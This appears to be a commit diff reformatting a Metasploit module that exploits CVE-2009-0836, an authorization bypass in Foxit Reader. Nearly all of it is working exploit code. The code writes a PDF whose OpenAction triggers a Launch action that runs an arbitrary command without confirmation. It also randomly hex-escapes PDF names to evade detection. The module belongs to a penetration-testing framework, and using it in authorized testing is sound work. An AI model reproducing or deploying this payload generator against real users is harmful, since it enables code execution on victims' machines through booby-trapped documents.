@@ -9,30 +9,38 @@ class MetasploitModule < Msf::Auxiliary
9
9
include Msf ::Exploit ::FILEFORMAT
10
10
11
11
def initialize ( info = { } )
12
- super ( update_info ( info ,
13
- 'Name' => 'Foxit Reader Authorization Bypass' ,
14
- 'Description' => %q{
12
+ super (
13
+ update_info (
14
+ info ,
15
+ 'Name' => 'Foxit Reader Authorization Bypass' ,
16
+ 'Description' => %q{
15
17
This module exploits an authorization bypass vulnerability in Foxit Reader
16
- build 1120. When an attacker creates a specially crafted pdf file containing
17
- an Open/Execute action, arbitrary commands can be executed without confirmation
18
- from the victim.
19
- } ,
20
- 'License' => MSF_LICENSE ,
21
- 'Author' => [ 'MC' , 'Didier Stevens <didier.stevens[at]gmail.com>' , ] ,
22
- 'References' =>
23
- [
18
+ build 1120. When an attacker creates a specially crafted pdf file containing
19
+ an Open/Execute action, arbitrary commands can be executed without confirmation
20
+ from the victim.
21
+ } ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'Author' => [ 'MC' , 'Didier Stevens <didier.stevens[at]gmail.com>' , ] ,
24
+ 'References' => [
24
25
[ 'CVE' , '2009-0836' ] ,
25
26
[ 'OSVDB' , '55615' ] ,
26
27
[ 'BID' , '34035' ] ,
27
28
] ,
28
- 'DisclosureDate' => '2009-03-09' ) )
29
+ 'DisclosureDate' => '2009-03-09' ,
30
+ 'Notes' => {
31
+ 'Stability' => [ CRASH_SAFE ] ,
32
+ 'SideEffects' => [ ] ,
33
+ 'Reliability' => [ ]
34
+ }
35
+ )
36
+ )
29
37
30
38
register_options (
31
39
[
32
- OptString . new ( 'CMD' , [ false , 'The command to execute.' , '/C/Windows/System32/calc.exe' ] ) ,
33
- OptString . new ( 'FILENAME' , [ false , 'The file name.' , 'msf.pdf' ] )
34
- ] )
35
-
40
+ OptString . new ( 'CMD' , [ false , 'The command to execute.' , '/C/Windows/System32/calc.exe' ] ) ,
41
+ OptString . new ( 'FILENAME' , [ false , 'The file name.' , 'msf.pdf' ] )
42
+ ]
43
+ )
36
44
end
37
45
38
46
def run
@@ -46,12 +54,12 @@ def run
46
54
file_create ( pdf )
47
55
end
48
56
49
- #http ://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
57
+ # https ://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
50
58
def n_obfu ( str )
51
- result = ""
59
+ result = ''
52
60
str . scan ( /./u ) do |c |
53
- if rand ( 2 ) == 0 and c . upcase >= 'A' and c . upcase <= 'Z'
54
- result << " #%x" % c . unpack ( 'C*' ) [ 0 ]
61
+ if ( rand ( 2 ) == 0 ) && ( c . upcase >= 'A' ) && ( c . upcase <= 'Z' )
62
+ result << ' #%x' % c . unpack ( 'C*' ) [ 0 ]
55
63
else
56
64
result << c
57
65
end
@@ -60,53 +68,51 @@ def n_obfu(str)
60
68
end
61
69
62
70
def random_non_ascii_string ( count )
63
- result = ""
71
+ result = ''
64
72
count . times do
65
- result << ( rand ( 128 ) + 128 ) . chr
73
+ result << rand ( 128 .. 255 ) . chr
66
74
end
67
75
result
68
76
end
69
77
70
78
def io_def ( id )
71
- " %d 0 obj" % id
79
+ ' %d 0 obj' % id
72
80
end
73
81
74
82
def io_ref ( id )
75
- " %d 0 R" % id
83
+ ' %d 0 R' % id
76
84
end
77
85
78
86
def make_pdf ( exec )
79
-
80
87
xref = [ ]
81
88
eol = "\x0d \x0a "
82
- endobj = " endobj" << eol
89
+ endobj = ' endobj' << eol
83
90
84
91
# Randomize PDF version?
85
- pdf = "%%PDF-%d.%d" % [ 1 + rand ( 2 ) , 1 + rand ( 5 ) ] << eol
86
- pdf << "%" << random_non_ascii_string ( 4 ) << eol
92
+ pdf = "%%PDF-#{ rand ( 1 .. 2 ) } . #{ rand ( 1 .. 2 ) } " << eol
93
+ pdf << '%' << random_non_ascii_string ( 4 ) << eol
87
94
xref << pdf . length
88
- pdf << io_def ( 1 ) << n_obfu ( " <</Type/Catalog/Outlines " ) << io_ref ( 2 ) << n_obfu ( " /Pages " ) << io_ref ( 3 ) << n_obfu ( " /OpenAction " ) << io_ref ( 5 ) << ">>" << endobj
95
+ pdf << io_def ( 1 ) << n_obfu ( ' <</Type/Catalog/Outlines ' ) << io_ref ( 2 ) << n_obfu ( ' /Pages ' ) << io_ref ( 3 ) << n_obfu ( ' /OpenAction ' ) << io_ref ( 5 ) << '>>' << endobj
89
96
xref << pdf . length
90
- pdf << io_def ( 2 ) << n_obfu ( " <</Type/Outlines/Count 0>>" ) << endobj
97
+ pdf << io_def ( 2 ) << n_obfu ( ' <</Type/Outlines/Count 0>>' ) << endobj
91
98
xref << pdf . length
92
- pdf << io_def ( 3 ) << n_obfu ( " <</Type/Pages/Kids[" ) << io_ref ( 4 ) << n_obfu ( " ]/Count 1>>" ) << endobj
99
+ pdf << io_def ( 3 ) << n_obfu ( ' <</Type/Pages/Kids[' ) << io_ref ( 4 ) << n_obfu ( ' ]/Count 1>>' ) << endobj
93
100
xref << pdf . length
94
- pdf << io_def ( 4 ) << n_obfu ( " <</Type/Page/Parent " ) << io_ref ( 3 ) << n_obfu ( " /MediaBox[0 0 612 792]>>" ) << endobj
101
+ pdf << io_def ( 4 ) << n_obfu ( ' <</Type/Page/Parent ' ) << io_ref ( 3 ) << n_obfu ( ' /MediaBox[0 0 612 792]>>' ) << endobj
95
102
xref << pdf . length
96
- pdf << io_def ( 5 ) << "<</Type/Action/S/Launch/F << /F(#{ exec } )>>/NewWindow true\n " + io_ref ( 6 ) + ">>" << endobj
103
+ pdf << io_def ( 5 ) << "<</Type/Action/S/Launch/F << /F(#{ exec } )>>/NewWindow true\n " + io_ref ( 6 ) + '>>' << endobj
97
104
xref << pdf . length
98
105
pdf << endobj
99
- xrefPosition = pdf . length
100
- pdf << " xref" << eol
101
- pdf << " 0 %d" % ( xref . length + 1 ) << eol
102
- pdf << " 0000000000 65535 f" << eol
106
+ xref_position = pdf . length
107
+ pdf << ' xref' << eol
108
+ pdf << ' 0 %d' % ( xref . length + 1 ) << eol
109
+ pdf << ' 0000000000 65535 f' << eol
103
110
xref . each do |index |
104
- pdf << " %010d 00000 n" % index << eol
111
+ pdf << ' %010d 00000 n' % index << eol
105
112
end
106
- pdf << "trailer" << n_obfu ( "<</Size %d/Root " % ( xref . length + 1 ) ) << io_ref ( 1 ) << ">>" << eol
107
- pdf << "startxref" << eol
108
- pdf << xrefPosition . to_s ( ) << eol
109
- pdf << "%%EOF" << eol
110
-
113
+ pdf << 'trailer' << n_obfu ( '<</Size %d/Root ' % ( xref . length + 1 ) ) << io_ref ( 1 ) << '>>' << eol
114
+ pdf << 'startxref' << eol
115
+ pdf << xref_position . to_s << eol
116
+ pdf << '%%EOF' << eol
111
117
end
112
118
end
0 commit comments